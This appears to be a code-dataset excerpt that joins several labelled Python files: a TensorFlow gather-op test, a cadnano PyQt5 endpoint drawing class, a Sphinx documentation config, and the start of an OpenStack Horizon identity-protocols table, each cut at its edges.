GatherTest(test.TestCase): def _buildParams(self, data, dtype): data = data.astype(dtype.as_numpy_dtype) # For complex types, add an index-dependent imaginary component so we can # tell we got the right value. if dtype.is_complex: return data + 10j * data return data def testScalar1D(self): with self.cached_session(use_gpu=True): data = np.array([0, 1, 2, 3, 7, 5]) for dtype in _TEST_TYPES: for indices in 4, [1, 2, 2, 4, 5]: params_np = self._buildParams(data, dtype) params = constant_op.constant(params_np) indices_tf = constant_op.constant(indices) gather_t = array_ops.gather(params, indices_tf) gather_val = gather_t.eval() np_val = params_np[indices] self.assertAllEqual(np_val, gather_val) self.assertEqual(np_val.shape, gather_t.get_shape()) def testScalar2D(self): with self.session(use_gpu=True): data = np.array([[0, 1, 2], [3, 4, 5], [6, 7, 8], [9, 10, 11], [12, 13, 14]]) for dtype in _TEST_TYPES: for axis in range(data.ndim): params_np = self._buildParams(data, dtype) params = constant_op.constant(params_np) indices = constant_op.constant(2) gather_t = array_ops.gather(params, indices, axis=axis) gather_val = gather_t.eval() self.assertAllEqual(np.take(params_np, 2, axis=axis), gather_val) expected_shape = data.shape[:axis] + data.shape[axis + 1:] self.assertEqual(expected_shape, gather_t.get_shape()) def testSimpleTwoD32(self): with self.session(use_gpu=True): data = np.array([[0, 1, 2], [3, 4, 5], [6, 7, 8], [9, 10, 11], [12, 13, 14]]) for dtype in _TEST_TYPES: for axis in range(data.ndim): params_np = self._buildParams(data, dtype) params = constant_op.constant(params_np) # The indices must be in bounds for any axis. indices = constant_op.constant([0, 1, 0, 2]) gather_t = array_ops.gather(params, indices, axis=axis) gather_val = gather_t.eval() self.assertAllEqual(np.take(params_np, [0, 1, 0, 2], axis=axis), gather_val) expected_shape = data.shape[:axis] + (4,) + data.shape[axis + 1:] self.assertEqual(expected_shape, gather_t.get_shape()) def testHigherRank(self): # We check that scalar and empty indices shapes work as well shape = (2, 1, 3, 2) for indices_shape in (), (0,), (2, 0), (2, 3): for dtype in _TEST_TYPES: for axis in range(len(shape)): params = self._buildParams(np.random.randn(*shape), dtype) indices = np.random.randint(shape[axis], size=indices_shape) with self.cached_session(use_gpu=True) as sess: tf_params = constant_op.constant(params) tf_indices = constant_op.constant(indices) # Check that both positive and negative indices for axis work. tf_axis = constant_op.constant(axis) tf_negative_axis = constant_op.constant(-len(shape) + axis) gather = array_ops.gather(tf_params, tf_indices, axis=tf_axis) gather_negative_axis = array_ops.gather( tf_params, tf_indices, axis=tf_negative_axis) gather_value, gather_negative_axis_value = sess.run( [gather, gather_negative_axis]) gather_np = np.take(params, indices, axis) self.assertAllEqual(gather_np, gather_value) self.assertAllEqual(gather_np, gather_negative_axis_value) expected_shape = (params.shape[:axis] + indices.shape + params.shape[axis + 1:]) self.assertEqual(expected_shape, gather.shape) self.assertEqual(expected_shape, gather_negative_axis.shape) # Test gradients gather_grad = np.random.randn( *gather.get_shape().as_list()).astype(dtype.as_numpy_dtype) if dtype.is_complex: gather_grad -= 1j * gather_grad params_grad, indices_grad, axis_grad = gradients_impl.gradients( gather, [tf_params, tf_indices, tf_axis], gather_grad) self.assertEqual(indices_grad, None) self.assertEqual(axis_grad, None) if dtype.is_integer: self.assertEqual(params_grad, None) continue # For axis 0, we are able to create an efficient IndexedSlices for # the gradient. if axis == 0: self.assertEqual(type(params_grad), ops.IndexedSlices) params_grad = ops.convert_to_tensor(params_grad) correct_params_grad = np.zeros(shape).astype(dtype.as_numpy_dtype) outer_dims = axis inner_dims = len(shape) - axis - 1 gather_grad = gather_grad.reshape( shape[:axis] + (indices.size,) + shape[axis + 1:]) for source_index, dest_index in enumerate(indices.flat): dest_slice = ((slice(None),) * outer_dims + (dest_index,) + (slice(None),) * inner_dims) source_slice = ((slice(None),) * outer_dims + (source_index,) + (slice(None),) * inner_dims) correct_params_grad[dest_slice] += gather_grad[source_slice] self.assertAllClose(correct_params_grad, params_grad.eval(), atol=2e-6, rtol=2e-6) def testString(self): params = np.array([[b""asdf"", b""zxcv""], [b""qwer"", b""uiop""]]) with self.cached_session(): self.assertAllEqual([b""qwer"", b""uiop""], array_ops.gather(params, 1, axis=0).eval()) self.assertAllEqual([b""asdf"", b""qwer""], array_ops.gather(params, 0, axis=1).eval()) def testUInt32AndUInt64(self): for unsigned_type in (dtypes.uint32, dtypes.uint64): params = self._buildParams( np.array([[1, 2, 3], [7, 8, 9]]), unsigned_type) with self.cached_session(): self.assertAllEqual([7, 8, 9], array_ops.gather(params, 1, axis=0).eval()) self.assertAllEqual([1, 7], array_ops.gather(params, 0, axis=1).eval()) def testUnknownIndices(self): params = constant_op.constant([[0, 1, 2]]) indices = array_ops.placeholder(dtypes.int32) gather_t = array_ops.gather(params, indices) self.assertEqual(None, gather_t.get_shape()) def testUnknownAxis(self): params = constant_op.constant([[0, 1, 2]]) indices = constant_op.constant([[0, 0], [0, 0]]) axis = array_ops.placeholder(dtypes.int32) gather_t = array_ops.gather(params, indices, axis=axis) # Rank 2 params with rank 2 indices results in a rank 3 shape. self.assertEqual([None, None, None], gather_t.shape.as_list()) # If indices is also unknown the result rank is unknown. indices = array_ops.placeholder(dtypes.int32) gather_t = array_ops.gather(params, indices, axis=axis) self.assertEqual(None, gather_t.shape) def testBadIndicesCPU(self): with self.session(use_gpu=False): params = [[0, 1, 2], [3, 4, 5]] with self.assertRaisesOpError(r""indices\[0,0\] = 7 is not in \[0, 2\)""): array_ops.gather(params, [[7]], axis=0).eval() with self.assertRaisesOpError(r""indices\[0,0\] = 7 is not in \[0, 3\)""): array_ops.gather(params, [[7]], axis=1).eval() def _disabledTestBadIndicesGPU(self): # TODO disabled due to different behavior on GPU and CPU # On GPU the bad indices do not raise error but fetch 0 values if not test.is_gpu_available(): return with self.session(use_gpu=True): params = [[0, 1, 2], [3, 4, 5]] with self.assertRaisesOpError(r""indices\[0,0\] = 7 is not in \[0, 2\)""): array_ops.gather(params, [[7]], axis=0).eval() with self.assertRaisesOpError(r""indices\[0,0\] = 7 is not in \[0, 3\)""): array_ops.gather(params, [[7]], axis=1).eval() def testBadAxis(self): with self.session(use_gpu=True): params = [0, 1, 2] params_ph = array_ops.placeholder(dtypes.int32) indices = 0 for bad_axis in (1, 2, -2): # Shape inference can validate axis for known params rank. with self.assertRaisesWithPredicateMatch( ValueError, ""Shape must be at least rank . but is rank 1""): array_ops.gather(params, indices, axis=bad_axis) # If params rank is unknown, an op error occurs. with self.assertRaisesOpError( r""Expected axis in the range \[-1, 1\), but got %s"" % bad_axis): array_ops.gather(params_ph, indices, axis=bad_axis).eval( feed_dict={params_ph: params}) def testEmptySlices(self): with self.session(use_gpu=True): for dtype in _TEST_TYPES: for itype in np.int32, np.int64: # Leading axis gather. params = np.zeros((7, 0, 0), dtype=dtype.as_numpy_dtype) indices = np.array([3, 4], dtype=itype) gather = array_ops.gather(params, indices, axis=0) self.assertAllEqual(gather.eval(), np.zeros((2, 0, 0))) # Middle axis gather. params = np.zeros((0, 7, 0), dtype=dtype.as_numpy_dtype) gather = array_ops.gather(params, indices, axis=1) self.assertAllEqual(gather.eval(), np.zeros((0, 2, 0))) # Trailing axis gather. params = np.zeros((0, 0, 7), dtype=dtype.as_numpy_dtype) gather = array_ops.gather(params, indices, axis=2) self.assertAllEqual(gather.eval(), np.zeros((0, 0, 2))) if __name__ == ""__main__"": test.main() ",1 " from PyQt5.QtGui import ( QBrush, QPen, QPainterPath, QPolygonF, QMouseEvent, QPainter ) from PyQt5.QtWidgets import ( qApp, QGraphicsItem, QGraphicsPathItem, QGraphicsRectItem, QGraphicsEllipseItem, QStyleOptionGraphicsItem, QWidget, QGraphicsSceneMouseEvent, QGraphicsSceneHoverEvent ) from cadnano.gui.palette import getColorObj from cadnano.views.pathview import pathstyles as styles from cadnano.views.pathview.tools.pathselection import SelectionItemGroup from cadnano.views.pathview import ( PathVirtualHelixItemT, PathXoverItemT, PathStrandItemT, PathNucleicAcidPartItemT ) from cadnano.cntypes import ( StrandT, DocT, Vec2T, WindowT ) _BASE_WIDTH = styles.PATH_BASE_WIDTH PP_L5 = QPainterPath() # Left 5' PainterPath PP_R5 = QPainterPath() # Right 5' PainterPath PP_L3 = QPainterPath() # Left 3' PainterPath PP_R3 = QPainterPath() # Right 3' PainterPath PP_53 = QPainterPath() # Left 5', Right 3' PainterPath PP_35 = QPainterPath() # Left 5', Right 3' PainterPath # set up PP_L5 (left 5' blue square) PP_L5.addRect(0.25 * _BASE_WIDTH, 0.125 * _BASE_WIDTH, 0.75 * _BASE_WIDTH, 0.75 * _BASE_WIDTH) # set up PP_R5 (right 5' blue square) PP_R5.addRect(0, 0.125 * _BASE_WIDTH, 0.75 * _BASE_WIDTH, 0.75 * _BASE_WIDTH) # set up PP_L3 (left 3' blue triangle) L3_POLY = QPolygonF() L3_POLY.append(QPointF(_BASE_WIDTH, 0)) L3_POLY.append(QPointF(0.25 * _BASE_WIDTH, 0.5 * _BASE_WIDTH)) L3_POLY.append(QPointF(_BASE_WIDTH, _BASE_WIDTH)) L3_POLY.append(QPointF(_BASE_WIDTH, 0)) PP_L3.addPolygon(L3_POLY) # set up PP_R3 (right 3' blue triangle) R3_POLY = QPolygonF() R3_POLY.append(QPointF(0, 0)) R3_POLY.append(QPointF(0.75 * _BASE_WIDTH, 0.5 * _BASE_WIDTH)) R3_POLY.append(QPointF(0, _BASE_WIDTH)) R3_POLY.append(QPointF(0, 0)) PP_R3.addPolygon(R3_POLY) # single base left 5'->3' PP_53.addRect(0, 0.125 * _BASE_WIDTH, 0.5 * _BASE_WIDTH, 0.75 * _BASE_WIDTH) POLY_53 = QPolygonF() POLY_53.append(QPointF(0.5 * _BASE_WIDTH, 0)) POLY_53.append(QPointF(_BASE_WIDTH, 0.5 * _BASE_WIDTH)) POLY_53.append(QPointF(0.5 * _BASE_WIDTH, _BASE_WIDTH)) PP_53.addPolygon(POLY_53) # single base left 3'<-5' PP_35.addRect(0.50 * _BASE_WIDTH, 0.125 * _BASE_WIDTH, 0.5 * _BASE_WIDTH, 0.75 * _BASE_WIDTH) POLY_35 = QPolygonF() POLY_35.append(QPointF(0.5 * _BASE_WIDTH, 0)) POLY_35.append(QPointF(0, 0.5 * _BASE_WIDTH)) POLY_35.append(QPointF(0.5 * _BASE_WIDTH, _BASE_WIDTH)) PP_35.addPolygon(POLY_35) _DEFAULT_RECT = QRectF(0, 0, _BASE_WIDTH, _BASE_WIDTH) _NO_PEN = QPen(Qt.NoPen) MOD_RECT = QRectF(.25*_BASE_WIDTH, -.25*_BASE_WIDTH, 0.5*_BASE_WIDTH, 0.5*_BASE_WIDTH) class EndpointItem(QGraphicsPathItem): FILTER_NAME = ""endpoint"" def __init__(self, strand_item: PathStrandItemT, cap_type: str, # low, high, dual is_drawn5to3: bool): """"""The parent should be a StrandItem."""""" super(EndpointItem, self).__init__(strand_item.virtualHelixItem()) self._strand_item = strand_item self._getActiveTool = strand_item._getActiveTool self.cap_type = cap_type self._low_drag_bound = None self._high_drag_bound = None self._mod_item = None self._isdrawn5to3 = is_drawn5to3 self._initCapSpecificState(is_drawn5to3) p = QPen() p.setCosmetic(True) self.setPen(p) # for easier mouseclick self._click_area = cA = QGraphicsRectItem(_DEFAULT_RECT, self) self._click_area.setAcceptHoverEvents(True) cA.hoverMoveEvent = self.hoverMoveEvent cA.mousePressEvent = self.mousePressEvent cA.mouseMoveEvent = self.mouseMoveEvent cA.setPen(_NO_PEN) self.setFlag(QGraphicsItem.ItemIsSelectable) # end def ### SIGNALS ### ### SLOTS ### ### ACCESSORS ### def idx(self) -> int: """"""Look up ``base_idx``, as determined by :class:`StrandItem `idxs and cap type."""""" if self.cap_type == 'low': return self._strand_item.idxs()[0] else: # high or dual, doesn't matter return self._strand_item.idxs()[1] # end def def partItem(self) -> PathNucleicAcidPartItemT: return self._strand_item.partItem() # end def def disableEvents(self): self._click_area.setAcceptHoverEvents(False) self.mouseMoveEvent = QGraphicsPathItem.mouseMoveEvent self.mousePressEvent = QGraphicsPathItem.mousePressEvent # end def def window(self) -> WindowT: return self._strand_item.window() ### PUBLIC METHODS FOR DRAWING / LAYOUT ### def updatePosIfNecessary(self, idx: int) -> Tuple[bool, SelectionItemGroup]: """"""Update position if necessary and return ``True`` if updated."""""" group = self.group() self.tempReparent() x = int(idx * _BASE_WIDTH) if x != self.x(): self.setPos(x, self.y()) # if group: # group.addToGroup(self) return True, group else: # if group: # group.addToGroup(self) return False, group def safeSetPos(self, x: float, y: float): """""" Required to ensure proper reparenting if selected """""" group = self.group() self.tempReparent() self.setPos(x, y) if group: group.addToGroup(self) # end def def resetEndPoint(self, is_drawn5to3: bool): self.setParentItem(self._strand_item.virtualHelixItem()) self._initCapSpecificState(is_drawn5to3) upperLeftY = 0 if is_drawn5to3 else _BASE_WIDTH self.setY(upperLeftY) # end def def showMod(self, mod_id: str, color: str): self._mod_item = QGraphicsEllipseItem(MOD_RECT, self) self.changeMod(mod_id, color) self._mod_item.show() # print(""Showing {}"".format(mod_id)) # end def def changeMod(self, mod_id: str, color: str): self._mod_id = mod_id self._mod_item.setBrush(QBrush(getColorObj(color))) # end def def destroyMod(self): self.scene().removeItem(self._mod_item) self._mod_item = None self._mod_id = None # end def def destroyItem(self): '''Remove this object and references to it from the view ''' scene = self.scene() if self._mod_item is not None: self.destroyMod() scene.removeItem(self._click_area) self._click_area = None scene.removeItem(self) # end def ### PRIVATE SUPPORT METHODS ### def _initCapSpecificState(self, is_drawn5to3: bool): c_t = self.cap_type if c_t == 'low': path = PP_L5 if is_drawn5to3 else PP_L3 elif c_t == 'high': path = PP_R3 if is_drawn5to3 else PP_R5 elif c_t == 'dual': path = PP_53 if is_drawn5to3 else PP_35 self.setPath(path) # end def ### EVENT HANDLERS ### def mousePressEvent(self, event: QGraphicsSceneMouseEvent): """"""Parses a :meth:`mousePressEvent`, calling the appropriate tool method as necessary. Stores ``_move_idx`` for future comparison. """""" self.scene().views()[0].addToPressList(self) idx = self._strand_item.setActiveEndpoint(self.cap_type) self._move_idx = idx active_tool_str = self._getActiveTool().methodPrefix() tool_method_name = active_tool_str + ""MousePress"" if hasattr(self, tool_method_name): # if the tool method exists modifiers = event.modifiers() getattr(self, tool_method_name)(modifiers, event, self.idx()) def hoverLeaveEvent(self, event: QGraphicsSceneHoverEvent): self._strand_item.hoverLeaveEvent(event) # end def def hoverMoveEvent(self, event: QGraphicsSceneHoverEvent): """"""Parses a :meth:`hoverMoveEvent`, calling the approproate tool method as necessary. """""" vhi_num = self._strand_item.idNum() oligo_length = self._strand_item._model_strand.oligo().length() msg = ""%d[%d]\tlength: %d"" % (vhi_num, self.idx(), oligo_length) self.partItem().updateStatusBar(msg) active_tool_str = self._getActiveTool().methodPrefix() if active_tool_str == 'createTool': return self._strand_item.createToolHoverMove(event, self.idx()) elif active_tool_str == 'addSeqTool': return self.addSeqToolHoverMove(event, self.idx()) def mouseMoveEvent(self, event: QGraphicsSceneMouseEvent): """"""Parses a :meth:`mouseMoveEvent`, calling the appropriate tool method as necessary. Updates ``_move_idx`` if it changed. """""" tool_method_name = self._getActiveTool().methodPrefix() + ""MouseMove"" if hasattr(self, tool_method_name): # if the tool method exists idx = int(floor((self.x() + event.pos().x()) / _BASE_WIDTH)) if idx != self._move_idx: # did we actually move? modifiers = event.modifiers() self._move_idx = idx getattr(self, tool_method_name)(modifiers, idx) def customMouseRelease(self, event: QMouseEvent): """"""Parses a :meth:`mouseReleaseEvent` from view, calling the appropriate tool method as necessary. Deletes ``_move_idx`` if necessary. """""" tool_method_name = self._getActiveTool().methodPrefix() + ""MouseRelease"" if hasattr(self, tool_method_name): # if the tool method exists modifiers = event.modifiers() x = event.pos().x() getattr(self, tool_method_name)(modifiers, x) # call tool method if hasattr(self, '_move_idx'): del self._move_idx ### TOOL METHODS ### def modsToolMousePress(self, modifiers: Qt.KeyboardModifiers, event: QGraphicsSceneMouseEvent, idx: int): """""" Checks that a scaffold was clicked, and then calls apply sequence to the clicked strand via its oligo. """""" m_strand = self._strand_item._model_strand self._getActiveTool().applyMod(m_strand, idx) # end def def breakToolMouseRelease(self, modifiers: Qt.KeyboardModifiers, x): """"""Shift-click to merge without switching back to select tool."""""" m_strand = self._strand_item._model_strand if modifiers & Qt.ShiftModifier: m_strand.merge(self.idx()) # end def def eraseToolMousePress(self, modifiers: Qt.KeyboardModifiers, event: QGraphicsSceneMouseEvent, idx: int): """"""Erase the strand."""""" m_strand = self._strand_item._model_strand m_strand.strandSet().removeStrand(m_strand) # end def def insertionToolMousePress(self, modifiers: Qt.KeyboardModifiers, event: QGraphicsSceneMouseEvent, idx: int): """"""Add an insert to the strand if possible."""""" m_strand = self._strand_item._model_strand m_strand.addInsertion(idx, 1) # end def def paintToolMousePress(self, modifiers: Qt.KeyboardModifiers, event: QGraphicsSceneMouseEvent, idx: int): """"""Add an insert to the strand if possible."""""" m_strand = self._strand_item._model_strand if qApp.keyboardModifiers() & Qt.ShiftModifier: color = self.window().path_color_panel.shiftColorName() else: color = self.window().path_color_panel.colorName() m_strand.oligo().applyColor(color) # end def def addSeqToolMousePress(self, modifiers: Qt.KeyboardModifiers, event: QGraphicsSceneMouseEvent, idx: int): oligo = self._strand_item._model_strand.oligo() add_seq_tool = self._getActiveTool() add_seq_tool.applySequence(oligo) # end def def addSeqToolHoverMove(self, event: QGraphicsSceneHoverEvent, idx: int): # m_strand = self._model_strand # vhi = self._strand_item._virtual_helix_item add_seq_tool = self._getActiveTool() add_seq_tool.hoverMove(self, event, flag=self._isdrawn5to3) # end def def addSeqToolHoverLeave(self, event: QGraphicsSceneHoverEvent): self._getActiveTool().hoverLeaveEvent(event) # end def def createToolHoverMove(self, idx: int): """"""Create the strand is possible."""""" m_strand = self._strand_item._model_strand vhi = self._strand_item._virtual_helix_item active_tool = self._getActiveTool() if not active_tool.isFloatingXoverBegin(): temp_xover = active_tool.floatingXover() temp_xover.updateFloatingFromStrandItem(vhi, m_strand, idx) # end def def createToolMousePress(self, modifiers: Qt.KeyboardModifiers, event: QGraphicsSceneMouseEvent, idx: int): """"""Break the strand is possible."""""" m_strand = self._strand_item._model_strand vhi = self._strand_item._virtual_helix_item active_tool = self._getActiveTool() if active_tool.isFloatingXoverBegin(): if m_strand.idx5Prime() == idx: return else: temp_xover = active_tool.floatingXover() temp_xover.updateBase(vhi, m_strand, idx) active_tool.setFloatingXoverBegin(False) else: active_tool.setFloatingXoverBegin(True) # install Xover active_tool.attemptToCreateXover(vhi, m_strand, idx) # end def def selectToolMousePress(self, modifiers: Qt.KeyboardModifiers, event: QGraphicsSceneMouseEvent, idx: int): """"""Set the allowed drag bounds for use by selectToolMouseMove. """""" # print(""%s.%s [%d]"" % (self, util.methodName(), self.idx())) self._low_drag_bound, self._high_drag_bound = self._strand_item._model_strand.getResizeBounds(self.idx()) s_i = self._strand_item viewroot = s_i.viewroot() current_filter_set = viewroot.selectionFilterSet() if (all(f in current_filter_set for f in s_i.strandFilter()) and self.FILTER_NAME in current_filter_set): selection_group = viewroot.strandItemSelectionGroup() mod = Qt.MetaModifier if not (modifiers & mod): selection_group.clearSelection(False) selection_group.setSelectionLock(selection_group) selection_group.pendToAdd(self) selection_group.processPendingToAddList() return selection_group.mousePressEvent(event) # end def def selectToolMouseMove(self, modifiers: Qt.KeyboardModifiers, idx: int): """""" Given a new index (pre-validated as different from the prev index), calculate the new x coordinate for self, move there, and notify the parent strandItem to redraw its horizontal line. """""" # end def def selectToolMouseRelease(self, modifiers: Qt.KeyboardModifiers, x): """""" If the positional-calculated idx differs from the model idx, it means we have moved and should notify the model to resize. If the mouse event had a key modifier, perform special actions: shift = attempt to merge with a neighbor alt = extend to max drag bound """""" m_strand = self._strand_item._model_strand if modifiers & Qt.ShiftModifier: self.setSelected(False) self.restoreParent() m_strand.merge(self.idx()) # end def def skipToolMousePress(self, modifiers: Qt.KeyboardModifiers, event: QGraphicsSceneMouseEvent, idx: int): """"""Add an insert to the strand if possible."""""" m_strand = self._strand_item._model_strand m_strand.addInsertion(idx, -1) # end def def restoreParent(self, pos: QPointF = None): """""" Required to restore parenting and positioning in the partItem """""" # map the position self.tempReparent(pos=pos) self.setSelectedColor(False) self.setSelected(False) # end def def tempReparent(self, pos: QPointF = None): vh_item = self._strand_item.virtualHelixItem() if pos is None: pos = self.scenePos() self.setParentItem(vh_item) temp_point = vh_item.mapFromScene(pos) self.setPos(temp_point) # end def def setSelectedColor(self, use_default: bool): if use_default == True: color = getColorObj(styles.SELECTED_COLOR) else: oligo = self._strand_item.strand().oligo() if oligo.shouldHighlight(): color = getColorObj(oligo.getColor(), alpha=128) else: color = getColorObj(oligo.getColor()) brush = self.brush() brush.setColor(color) self.setBrush(brush) # end def def updateHighlight(self, brush: QBrush): if not self.isSelected(): self.setBrush(brush) # end def def itemChange(self, change: QGraphicsItem.GraphicsItemChange, value: Any) -> bool: """"""Used for selection of the :class:`EndpointItem` Args: change: parameter that is changing value : new value whose type depends on the ``change`` argument Returns: If the change is a ``QGraphicsItem.ItemSelectedChange``:: ``True`` if selected, other ``False`` Otherwise default to :meth:`QGraphicsPathItem.itemChange()` result """""" # for selection changes test against QGraphicsItem.ItemSelectedChange # intercept the change instead of the has changed to enable features. if change == QGraphicsItem.ItemSelectedChange and self.scene(): active_tool = self._getActiveTool() if str(active_tool) == ""select_tool"": s_i = self._strand_item viewroot = s_i.viewroot() current_filter_set = viewroot.selectionFilterSet() selection_group = viewroot.strandItemSelectionGroup() # only add if the selection_group is not locked out if value == True and self.FILTER_NAME in current_filter_set: if all(f in current_filter_set for f in s_i.strandFilter()): if self.group() != selection_group or not self.isSelected(): selection_group.pendToAdd(self) selection_group.setSelectionLock(selection_group) self.setSelectedColor(True) return True else: return False # end if elif value == True: # don't select return False else: # Deselect # print(""deselect ep"") # Check if strand is being added to the selection group still if not selection_group.isPending(self._strand_item): selection_group.pendToRemove(self) self.tempReparent() self.setSelectedColor(False) return False else: # don't deselect, because the strand is still selected return True # end else # end if elif str(active_tool) == ""paint_tool"": s_i = self._strand_item viewroot = s_i.viewroot() current_filter_set = viewroot.selectionFilterSet() if all(f in current_filter_set for f in s_i.strandFilter()): if not active_tool.isMacrod(): active_tool.setMacrod() self.paintToolMousePress(None, None, None) # end elif return False # end if return QGraphicsPathItem.itemChange(self, change, value) # end def def modelDeselect(self, document: DocT): """"""A strand is selected based on whether its low or high endpoints are selected. this value is a tuple ``(is_low, is_high)`` of booleans """""" strand = self._strand_item.strand() test = document.isModelStrandSelected(strand) low_val, high_val = document.getSelectedStrandValue(strand) if test else (False, False) if self.cap_type == 'low': out_value = (False, high_val) else: out_value = (low_val, False) if not out_value[0] and not out_value[1] and test: document.removeStrandFromSelection(strand) elif out_value[0] or out_value[1]: document.addStrandToSelection(strand, out_value) self.restoreParent() # end def def modelSelect(self, document: DocT): """"""A strand is selected based on whether its low or high endpoints are selected. this value is a tuple ``(is_low, is_high)`` of booleans """""" strand = self._strand_item.strand() test = document.isModelStrandSelected(strand) low_val, high_val = document.getSelectedStrandValue(strand) if test else (False, False) if self.cap_type == 'low': out_value = (True, high_val) else: out_value = (low_val, True) self.setSelected(True) self.setSelectedColor(True) document.addStrandToSelection(strand, out_value) # end def def paint(self, painter: QPainter, option: QStyleOptionGraphicsItem, widget: QWidget): painter.setPen(self.pen()) painter.setBrush(self.brush()) painter.drawPath(self.path()) # end def ",1 "e current directory set to its containing dir. # # Note that not all possible configuration values are present in this # autogenerated file. # # All configuration values have a default; values that are commented out # serve to show the default. import sys, os # If extensions (or modules to document with autodoc) are in another directory, # add these directories to sys.path here. If the directory is relative to the # documentation root, use os.path.abspath to make it absolute, like shown here. #sys.path.insert(0, os.path.abspath('.')) # -- General configuration ----------------------------------------------------- # If your documentation needs a minimal Sphinx version, state it here. #needs_sphinx = '1.0' # Add any Sphinx extension module names here, as strings. They can be extensions # coming with Sphinx (named 'sphinx.ext.*') or your custom ones. extensions = [] # Add any paths that contain templates here, relative to this directory. templates_path = ['_templates'] # The suffix of source filenames. source_suffix = '.rst' # The encoding of source files. #source_encoding = 'utf-8-sig' # The master toctree document. master_doc = 'index' # General information about the project. project = u'zambiaureport' copyright = u'2014, Andre Lesa' # The version info for the project you're documenting, acts as replacement for # |version| and |release|, also used in various other places throughout the # built documents. # # The short X.Y version. version = '0.1' # The full version, including alpha/beta/rc tags. release = '0.1' # The language for content autogenerated by Sphinx. Refer to documentation # for a list of supported languages. #language = None # There are two options for replacing |today|: either, you set today to some # non-false value, then it is used: #today = '' # Else, today_fmt is used as the format for a strftime call. #today_fmt = '%B %d, %Y' # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. exclude_patterns = ['_build'] # The reST default role (used for this markup: `text`) to use for all documents. #default_role = None # If true, '()' will be appended to :func: etc. cross-reference text. #add_function_parentheses = True # If true, the current module name will be prepended to all description # unit titles (such as .. function::). #add_module_names = True # If true, sectionauthor and moduleauthor directives will be shown in the # output. They are ignored by default. #show_authors = False # The name of the Pygments (syntax highlighting) style to use. pygments_style = 'sphinx' # A list of ignored prefixes for module index sorting. #modindex_common_prefix = [] # -- Options for HTML output --------------------------------------------------- # The theme to use for HTML and HTML Help pages. See the documentation for # a list of builtin themes. html_theme = 'default' # Theme options are theme-specific and customize the look and feel of a theme # further. For a list of options available for each theme, see the # documentation. #html_theme_options = {} # Add any paths that contain custom themes here, relative to this directory. #html_theme_path = [] # The name for this set of Sphinx documents. If None, it defaults to # "" v documentation"". #html_title = None # A shorter title for the navigation bar. Default is the same as html_title. #html_short_title = None # The name of an image file (relative to this directory) to place at the top # of the sidebar. #html_logo = None # The name of an image file (within the static path) to use as favicon of the # docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32 # pixels large. #html_favicon = None # Add any paths that contain custom static files (such as style sheets) here, # relative to this directory. They are copied after the builtin static files, # so a file named ""default.css"" will overwrite the builtin ""default.css"". html_static_path = ['_static'] # If not '', a 'Last updated on:' timestamp is inserted at every page bottom, # using the given strftime format. #html_last_updated_fmt = '%b %d, %Y' # If true, SmartyPants will be used to convert quotes and dashes to # typographically correct entities. #html_use_smartypants = True # Custom sidebar templates, maps document names to template names. #html_sidebars = {} # Additional templates that should be rendered to pages, maps page names to # template names. #html_additional_pages = {} # If false, no module index is generated. #html_domain_indices = True # If false, no index is generated. #html_use_index = True # If true, the index is split into individual pages for each letter. #html_split_index = False # If true, links to the reST sources are added to the pages. #html_show_sourcelink = True # If true, ""Created using Sphinx"" is shown in the HTML footer. Default is True. #html_show_sphinx = True # If true, ""(C) Copyright ..."" is shown in the HTML footer. Default is True. #html_show_copyright = True # If true, an OpenSearch description file will be output, and all pages will # contain a tag referring to it. The value of this option must be the # base URL from which the finished HTML is served. #html_use_opensearch = '' # This is the file name suffix for HTML files (e.g. "".xhtml""). #html_file_suffix = None # Output file base name for HTML help builder. htmlhelp_basename = 'zambiaureportdoc' # -- Options for LaTeX output -------------------------------------------------- latex_elements = { # The paper size ('letterpaper' or 'a4paper'). #'papersize': 'letterpaper', # The font size ('10pt', '11pt' or '12pt'). #'pointsize': '10pt', # Additional stuff for the LaTeX preamble. #'preamble': '', } # Grouping the document tree into LaTeX files. List of tuples # (source start file, target name, title, author, documentclass [howto/manual]). latex_documents = [ ('index', 'zambiaureport.tex', u'zambiaureport Documentation', u'Andre Lesa', 'manual'), ] # The name of an image file (relative to this directory) to place at the top of # the title page. #latex_logo = None # For ""manual"" documents, if this is true, then toplevel headings are parts, # not chapters. #latex_use_parts = False # If true, show page references after internal links. #latex_show_pagerefs = False # If true, show URL addresses after external links. #latex_show_urls = False # Documents to append as an appendix to all manuals. #latex_appendices = [] # If false, no module index is generated. #latex_domain_indices = True # -- Options for manual page output -------------------------------------------- # One entry per manual page. List of tuples # (source start file, name, description, authors, manual section). man_pages = [ ('index', 'zambiaureport', u'zambiaureport Documentation', [u'Andre Lesa'], 1) ] # If true, show URL addresses after external links. #man_show_urls = False # -- Options for Texinfo output ------------------------------------------------ # Grouping the document tree into Texinfo files. List of tuples # (source start file, target name, title, author, # dir menu entry, description, category) texinfo_documents = [ ('index', 'zambiaureport', u'zambiaureport Documentation', u'Andre Lesa', 'zambiaureport', 'Zambia U-Report reference implementation.','Miscellaneous'), ] # Documents to append as an appendix to all manuals. #texinfo_appendices = [] # If false, no module index is generated. #texinfo_domain_indices = True # How to display URL addresses: 'footnote', 'no', or 'inline'. #texinfo_show_urls = 'footnote'",1 "except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. from django.urls import reverse from django.utils.translation import gettext_lazy as _ from django.utils.translation import ngettext_lazy from horizon import tables from openstack_dashboard import api from openstack_dashboard import policy class AddProtocol(policy.PolicyTargetMixin, tables.LinkAction): name = ""create"" verbose_name = _(""Add Protocol"") url = ""horizon:identity:identity_providers:protocols:create"" classes = (""ajax-modal"",) icon = ""plus"" policy_rules = ((""identity"", ""identity:create_protocol""),) def get_link_url(self, datum=None): idp_id = self.table.kwargs['identity_provider_id'] return reverse(self.url, args=(idp_id,)) class RemoveProtocol(policy.PolicyTargetMixin, tables.DeleteAction): @staticmethod def action_present(count): return ngettext_lazy( ""Delete Protocol"", ""Delete Protocols"", count ) @staticmethod def action_past(count): return ngettext_lazy( ""Deleted Protocol"", ""Deleted Protocols"", count ) policy_rules = ((""identity"", ""identity:delete_protocol""),) def delete(self, request, obj_id): identity_provider = self.table.kwargs['identity_provider_id'] protocol = obj_id api.keystone.protocol_delete(request, identity_provider, protocol) class ProtocolsTable(tables.DataTable): protocol = tables.Column(""id"", verbose_name=_(""Protocol ID"")) mapping = tables.Column(""mapping_id"", 